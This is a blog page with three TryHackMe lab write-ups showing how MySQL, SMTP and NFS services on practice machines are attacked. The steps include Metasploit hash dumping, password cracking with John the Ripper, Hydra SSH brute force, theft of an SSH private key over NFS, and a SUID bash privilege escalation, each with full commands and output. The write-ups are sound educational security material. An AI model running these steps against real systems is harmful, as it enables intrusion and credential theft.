Michael Muratov

TryHackMe - SQL

Sun, 20 Oct 2024 00:00:00 +0000

This is a TryHackMe Room Writeup

Reference

Initial Reconnaissance

The first step in exploiting a MySQL database is identifying whether the target machine has an exposed MySQL port. By default, MySQL runs on port 3306, but this can be customized by the system administrator, so it’s important to scan for common open ports. Typically you can attempt to connect to the MySQL server using common credentials or perform a brute force attack if no rate-limiting is in place.

Example Nmap Scan: (NFS Scan highlighted)

 1root@ip-10-10-22-136:~# IP=10.10.190.97
 2root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt $IP
 3
 4Starting Nmap 7.60 ( https://nmap.org ) at 2024-10-06 02:34 BST
 5Nmap scan report for ip-10-10-244-95.eu-west-1.compute.internal (10.10.244.95)
 6Host is up (0.0012s latency).
 7Not shown: 998 closed ports
 8PORT     STATE SERVICE
 922/tcp   open  ssh
103306/tcp open  mysql
11MAC Address: 02:59:70:A7:8E:95 (Unknown)
12
13Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds

Code

The call above uses the flag -sS to perform a stealthy SYN scan, which is faster and less detectable than a full connection scan. The -T4 flag sets the timing template to be faster than the default, balancing speed and accuracy. The -F flag specifies a fast scan that targets the top 100 most common ports. The -oN output.txt flag saves the scan results in a normal format to a file named output.txt. Finally, $IP specifies the target IP address for the scan.

Using stolen credentials

For this box we already know the credentials of the MySQL server username: root and password:password obtained previously and we’ll be using this to gain further access on the server. Once connected and authenticated using the credentials we can enumerate the database to gather more information about the system.

1root@ip-10-10-22-136:~# username=root
2root@ip-10-10-22-136:~#  mysql -h $IP -u $username -p
3Enter password: password

Enumeration

We’ll be using modules from Metasploit to extract information from the database. First thing we’ll do is submit an authenticated request to show the databases present on the MySQL server. We can do this by setting the RHOSTS, USERNAME, PASSWORD to the ip and credentials of the server and by initiating the SQL show databases query command.

 1msfconsole
 2msf6 > use auxiliary/admin/mysql/mysql_sql
 3msf6 auxiliary(admin/mysql/mysql_sql) > set RHOSTS 10.10.244.95
 4msf6 auxiliary(admin/mysql/mysql_sql) > set USERNAME root
 5msf6 auxiliary(admin/mysql/mysql_sql) > set PASSWORD password
 6msf6 auxiliary(admin/mysql/mysql_sql) > set SQL show databases
 7msf6 auxiliary(admin/mysql/mysql_sql) > options
 8
 9Module options (auxiliary/admin/mysql/mysql_sql):
10
11   Name  Current Setting  Required  Description
12   ----  ---------------  --------  -----------
13   SQL   show databases   yes       The SQL to execute.
14
15
16   Used when connecting via an existing SESSION:
17
18   Name     Current Setting  Required  Description
19   ----     ---------------  --------  -----------
20   SESSION                   no        The session to run this module on
21
22
23   Used when making a new connection via RHOSTS:
24
25   Name      Current Setting  Required  Description
26   ----      ---------------  --------  -----------
27   PASSWORD  password         no        The password for the specified username
28   RHOSTS    10.10.244.95     no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
29   RPORT     3306             no        The target port (TCP)
30   USERNAME  root             no        The username to authenticate as
31
32msf6 auxiliary(admin/mysql/mysql_sql) > run
33
34[*] Running module against 10.10.244.95
35
36[*] 10.10.244.95:3306 - Sending statement: 'show databases'...
37[*] 10.10.244.95:3306 -  | information_schema |
38[*] 10.10.244.95:3306 -  | mysql |
39[*] 10.10.244.95:3306 -  | performance_schema |
40[*] 10.10.244.95:3306 -  | sys |
41[*] Auxiliary module execution completed

Reading MySQL Database

We can further analyze the structure of the MySQL database by dumping the schema of all tables using the Metasploit module mysql_schemadump. This module allows us to retrieve the database schema, which includes detailed information about the structure of the databases, tables, columns, data types, and relationships between different tables within the MySQL server. This information can be critical for targeted exploitation. For example, knowing the names and structures of the tables enables us to focus on tables that likely contain sensitive information, such as users, passwords, sessions, or admin.

 1msf6 > use auxiliary/admin/mysql/mysql_schemadump
 2msf6 auxiliary(admin/mysql/mysql_schemadump) > set RHOSTS 10.10.244.95
 3msf6 auxiliary(admin/mysql/mysql_schemadump) > set USERNAME root
 4msf6 auxiliary(admin/mysql/mysql_schemadump) > set PASSWORD password
 5msf6 auxiliary(admin/mysql/mysql_schemadump) > options
 6
 7Module options (auxiliary/scanner/mysql/mysql_schemadump):
 8
 9   Name             Current Setting  Required  Description
10   ----             ---------------  --------  -----------
11   DISPLAY_RESULTS  true             yes       Display the Results to the Screen
12
13
14   Used when connecting via an existing SESSION:
15
16   Name     Current Setting  Required  Description
17   ----     ---------------  --------  -----------
18   SESSION                   no        The session to run this module on
19
20
21   Used when making a new connection via RHOSTS:
22
23   Name      Current Setting  Required  Description
24   ----      ---------------  --------  -----------
25   PASSWORD  password         no        The password for the specified username
26   RHOSTS    10.10.244.95     no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
27   RPORT     3306             no        The target port (TCP)
28   THREADS   1                yes       The number of concurrent threads (maxone per host)
29   USERNAME  root             no        The username to authenticate as
30
31msf6 auxiliary(admin/mysql/mysql_schemadump) > run
32
33- TableName: x$waits_global_by_latency
34    Columns:
35    - ColumnName: events
36      ColumnType: varchar(128)
37    - ColumnName: total
38      ColumnType: bigint(20) unsigned
39    - ColumnName: total_latency
40      ColumnType: bigint(20) unsigned
41    - ColumnName: avg_latency
42      ColumnType: bigint(20) unsigned
43    - ColumnName: max_latency
44      ColumnType: bigint(20) unsigned
45
46[*] 10.10.244.95:3306 - Scanned 1 of 1 hosts (100% complete)
47[*] Auxiliary module execution completed

MySQL Hashdump

We will also use the mysql_hashdump module which is a powerful tool used to extract password hashes from a MySQL server, which can then be leveraged for further attacks. By using this module, attackers can retrieve hashed password values stored within the MySQL user table, typically located in the user table. In this case we were able to identify the entry carl with its corresponding password hash.

 1msf6 > auxiliary/scanner/mysql/mysql_hashdump
 2msf6 auxiliary(admin/mysql/mysql_hashdump) > set RHOSTS 10.10.244.95
 3msf6 auxiliary(admin/mysql/mysql_hashdump) > set USERNAME root
 4msf6 auxiliary(admin/mysql/mysql_hashdump) > set PASSWORD password
 5msf6 auxiliary(admin/mysql/mysql_hashdump) > options
 6
 7Module options (auxiliary/scanner/mysql/mysql_hashdump):
 8
 9   Used when connecting via an existing SESSION:
10
11   Name     Current Setting  Required  Description
12   ----     ---------------  --------  -----------
13   SESSION                   no        The session to run this module on
14
15
16   Used when making a new connection via RHOSTS:
17
18   Name      Current Setting  Required  Description
19   ----      ---------------  --------  -----------
20   PASSWORD  password         no        The password for the specified username
21   RHOSTS    10.10.244.95     no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
22   RPORT     3306             no        The target port (TCP)
23   THREADS   1                yes       The number of concurrent threads (max one per host)
24   USERNAME  root             no        The username to authenticate as
25
26
27msf6 auxiliary(admin/mysql/mysql_hashdump) > run
28
29[+] 10.10.244.95:3306 - Saving HashString as Loot: root:
30[+] 10.10.244.95:3306 - Saving HashString as Loot: mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
31[+] 10.10.244.95:3306 - Saving HashString as Loot: mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
32[+] 10.10.244.95:3306 - Saving HashString as Loot: debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E
33[+] 10.10.244.95:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
34[+] 10.10.244.95:3306 - Saving HashString as Loot: carl:*EA031893AA21444B170FC2162A56978B8CEECE18
35[*] 10.10.244.95:3306 - Scanned 1 of 1 hosts (100% complete)
36[*] Auxiliary module execution completed

Cracking the Hash

We can use John the Ripper, a popular password-cracking tool, to reverse-engineer the hash into its original ASCII format. John the Ripper works by taking the hashed password and comparing it against a large set of potential plaintext passwords, which are hashed in the same algorithm. If it finds a match, it reveals the original password.

1root@ip-10-10-22-136:~# echo carl:*EA031893AA21444B170FC2162A56978B8CEECE18 > hash.txt
2root@ip-10-10-22-136:~# john hash.txt
3
4Proceeding with wordlist:/opt/john/password.lst
5Proceeding with incremental:ASCII
6doggie           (carl)
71g 0:00:00:02 DONE 3/3 (2024-10-06 02:57) 0.4566g/s 1043Kp/s 1043Kc/s 1043KC/s doggie..doggia

Code

The call above uses John the Ripper in its default configuration, utilizing a built-in word list to attempt to crack the single password hash stored in the text file."

Accessing the MySQL Server

Having access to the username and password allows us to SSH directly into the server and gain access to its resources directly.

1root@ip-10-10-22-136:~# ssh carl@10.10.244.95
2carl@10.10.244.95's password: doggie
3
4Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-96-generic x86_64)
5carl@polomysql:~$

Takeaways

Credential-Based Exploitation: Gaining access to MySQL using known credentials (like root with a weak password) can lead to control over the database and server, emphasizing the importance of strong, unique credentials and limiting root access.
Metasploit Modules as Recon Tools: Metasploit’s mysql_schemadump and mysql_hashdump modules are effective for looking into database structure and extracting sensitive data like password hashes.
Importance of Salting: Salting passwords before hashing significantly strengthens security by making brute force and rainbow table attacks impractical, as each password hash becomes unique, removing the effectiveness of tools like John the Ripper. This highlights the importance of using salts in password storage to mitigate hash-cracking attacks.

TryHackMe - SMTP

Thu, 17 Oct 2024 00:00:00 +0000

This is a TryHackMe Room Writeup

Reference

💻 TryHackMe Network Services Room

SMTP Intrusion

Simple Mail Transfer Protocol aka SMTP allows for the process by which mail clients send mail to each other. If we were to compare the email service to the postal delivery service, SMTP would be the courier, delivering mail from the post office to the recipient’s address, except in this case every address is also its own post office. The courier tends to know important information about its sender so we’ll be trying to get as much information out of it as we can. Thankfully the SMTP service is very receptive to questions so we will be able to pry valuable insights from it in order to compromise its server.

Identifying the SMTP Service

The first step of identifying possible attack vectors is running a network Nmap scan to see what ports are open on services that we know how to abuse. In this case we’re looking for port 25 exposing the SMTP service to the internet.

Example Nmap Scan: (NFS Scan highlighted)

 1root@ip-10-10-22-136:~# IP=10.10.190.97
 2root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt $IP
 3
 4Nmap scan report for ip-10-10-190-97.eu-west-1.compute.internal (10.10.190.97)
 5Host is up (0.00070s latency).
 6Not shown: 998 closed ports
 7PORT   STATE SERVICE
 822/tcp open  ssh
 925/tcp open  smtp
10MAC Address: 02:87:B2:A3:3F:17 (Unknown)
11# Nmap done at Sun Oct  6 01:22:55 2024 -- 1 IP address (1 host up) scanned in 1.68 seconds

Code

Getting the SMTP server metadata

Now that we’ve identified a way in, we can use a pre made SMTP attack script to extract as much valuable metadata we can using the Metasploit smtp_version script. In this case we’re able to extract the smtp server’s domain name but not much else that’s useful. We’ll try a more aggressive script next.

 1msfconsole
 2msf6 > use auxiliary/scanner/smtp/smtp_version
 3msf6 auxiliary(scanner/smtp/smtp_version) > set RHOSTS 10.10.22.136
 4
 5
 6Module options (auxiliary/scanner/smtp/smtp_version):
 7
 8Name     Current Setting  Required  Description
 9----     ---------------  --------  -----------
10RHOSTS   10.10.22.136     yes       The target host(s), see https://docs.metasploit.com/docs/using-me
11                                    tasploit/basics/using-metasploit.html
12RPORT    25               yes       The target port (TCP)
13THREADS  1                yes       The number of concurrent threads (max one per host)
14
15msf6 auxiliary(scanner/smtp/smtp_version) > run
16
17[+] 10.10.190.97:25       - 10.10.190.97:25 SMTP 220 polosmtp.home ESMTP Postfix (Ubuntu)\x0d\x0a
18[*] 10.10.190.97:25       - Scanned 1 of 1 hosts (100% complete)
19[*] Auxiliary module execution completed

Finding the SMTP server exposed usernames

We’ll try to brute force our SMTP courier to get it to tell us who it expects us to be talking to. We’ll keep asking it whether it recognizes the name we give it with a enumeration brute force attack and hopefully we’ll get a match. In this case we were able to tell that the SMTP knows the user “administrator” which gives us valuable insight into a possible user on the system. It is especially exciting to confirm the existence of an administrator user because compromising their account can lead to unrestricted access to their entire server!

 1msf6 auxiliary(scanner/smtp/smtp_version) > use /auxiliary/scanner/smtp/smtp_enum
 2msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.10.190.97
 3msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
 4msf6 auxiliary(scanner/smtp/smtp_enum) > run
 5
 6
 7[*] 10.10.190.97:25       - 10.10.190.97:25 Banner: 220 polosmtp.home ESMTP Postfix (Ubuntu)
 8[+] 10.10.190.97:25       - 10.10.190.97:25 Users found: administrator
 9[*] 10.10.190.97:25       - Scanned 1 of 1 hosts (100% complete)
10[*] Auxiliary module execution completed

Running Hydra to Brute Force the password

This isn’t a very nice way to break into a system but we’ll continue to use the brute force enumeration approach along with the username we found to try to log into the server via ssh. We’ll use the hydra tool to enumerate different passwords until we get one that works.

Luckily there was a direct match and we found a password for the administrator user, if only it was always this simple 😊

1hydra -t 16 -l administrator -P /usr/share/wordlists/rockyou.txt -vV 10.10.190.97 ssh
2
3[22][ssh] host: 10.10.190.97   login: administrator   password: alejandro
4[STATUS] attack finished for 10.10.190.97 (waiting for children to complete tests)
51 of 1 target successfully completed, 1 valid password found

Code

The call above uses the flag -t 16 to spawn 16 threads to attempt logins on the specified username -l administrator using the filepath -P rockyou.txt for passwords on the server’s IP via ssh in -vV very verbose mode." >}}

Logging into the server with credentials

Equipped with a username and password we can easily SSH into the server unless it has other protections in place.

1ssh administrator@10.10.190.97
2administrator@10.10.190.97's password: alejandro
3
4Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-111-generic x86_64)
5
6administrator@polosmtp:~$

TryHackMe - NFS

Sat, 12 Oct 2024 00:00:00 +0000

This is a TryHackMe Room Writeup

Reference

💻 THM Network Services Room

Gaining Access Through NFS

Initial Reconnaissance

The first step to Network File System (NFS) exploitation is identifying an exposed NFS share on the target machine. A public NFS share might have insufficient access controls, allowing unauthorized mounting from a remote location. This gives us an initial vector to compromise the vulnerable server.

Example Nmap Scan: (NFS Scan highlighted)

 1root@ip-10-10-71-105:~# IP=10.10.190.97
 2root@ip-10-10-71-105:~# nmap -sS -T4 -F -oN output.txt $IP
 3
 4PORT      STATE SERVICE  VERSION
 522/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 6111/tcp   open  rpcbind  2-4 (RPC #100000)
 72049/tcp  open  nfs_acl  3   (RPC #100227)
 832969/tcp open  mountd   1-3 (RPC #100005)
 933463/tcp open  mountd   1-3 (RPC #100005)
1038233/tcp open  nlockmgr 1-4 (RPC #100021)
1143597/tcp open  mountd   1-3 (RPC #100005)
12
13MAC Address: 02:AE:30:CF:78:25 (Unknown)
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Read data files from: /usr/bin/../share/nmap
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 75.34 seconds
19        Raw packets sent: 128591 (5.658MB) | Rcvd: 128591 (5.144MB)

Mounting the Shared Drive

Remotely mounting the server’s NFS share from our attacker machine gains us access to the server’s file system, with its directories and files accessible directly on our device. This allows us to explore the server’s file system, exfiltrate files from the server onto our device and upload our files to the server. These actions will let us grab private information and load malicious files onto the server to further our attack.

1root@ip-10-10-71-105:~# sudo mount -t nfs $IP:home /tmp/mount/ -nolock

SSH Key Extraction

Navigating to the .ssh directory of a remote user on the mounted NFS share we found the user’s SSH private key, which should never be stored on the server itself and should be securely stored on a trusted user machine. Should the server be breached through a vulnerability, the attacker can create a persistent method of entry using the stored private key to pose as a trusted user on future login attempts.

1root@ip-10-10-71-105:~# cd /tmp/mount/cappucino/.ssh
2root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# cp id_rsa ~
3root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# cd ~
4root@ip-10-10-71-105:~# chmod 600 id_rsa
5root@ip-10-10-71-105:~# cp id_rsa /$local_folder

After locating an SSH private key, it is simple to extract it using the NFS server by copying it from the shared drive to a local directory on the attack box. This file allows us to authenticate and gain access to the remote user’s account through SSH, giving us direct access to a user account on the server.

1root@ip-10-10-71-105:~# ssh -i id_rsa cappucino@$IP

Success

At this point the victim server has been compromised and we’ve established a foothold in their infrastructure. Our next steps will involve escalating privileges and gaining persistence on the host to further cement our control.

Super User Privilege Escalation via SUID Exploit

Uploading Malicious Script

Since we have 2 way connection, we can now upload anything we want to the server through the shared drive connection. We will upload a simple bash executable which we will use to escalate privileges and gain super user access on the server.

1root@ip-10-10-71-105:/tmp/mount/cappucino# wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash

SUID Permission Modification

After placing the script on the target machine we can set its SUID (Set User ID) bit. This allowed the script to run with elevated (root) privileges, regardless of the user executing it.

1root@ip-10-10-71-105:/tmp/mount/cappucino# sudo chmod +sx bash
2root@ip-10-10-71-105:/tmp/mount/cappucino# ls -la bash
3    -rwsr-sr-x 1 root root 1113504 Oct  4 04:42 bash

Escalating to Superuser Privileges

Executed the modified SUID script to escalate privileges from the standard user to the superuser (root). This provided full control over the target system.

1cappucino@polonfs:~$ ./bash -p
2bash-4.4# whoami
3> root

Success

Now we have complete control over the victim server with super user access. Our next steps would be to establish persistence and scan for other devices on the network to initiate lateral movement.

Takeaways

NFS Security Misconfigurations: Exposed NFS shares without proper access controls can be a critical vulnerability, allowing unauthorized mounting and file access.
SUID Misconfigurations: SUID permissions on scripts and binaries can be exploited to gain elevated privileges, especially if the target does not enforce proper file permissions.

Michael Muratov

TryHackMe - SQL

Initial Reconnaissance

Using stolen credentials

Enumeration

Reading MySQL Database

MySQL Hashdump

Cracking the Hash

Accessing the MySQL Server

Takeaways

TryHackMe - SMTP

SMTP Intrusion

Identifying the SMTP Service

Getting the SMTP server metadata

Finding the SMTP server exposed usernames

Running Hydra to Brute Force the password

Logging into the server with credentials

TryHackMe - NFS

Gaining Access Through NFS

Initial Reconnaissance

Mounting the Shared Drive

SSH Key Extraction

SSH Login with Stolen Key

Super User Privilege Escalation via SUID Exploit

Uploading Malicious Script

SUID Permission Modification

Escalating to Superuser Privileges

Takeaways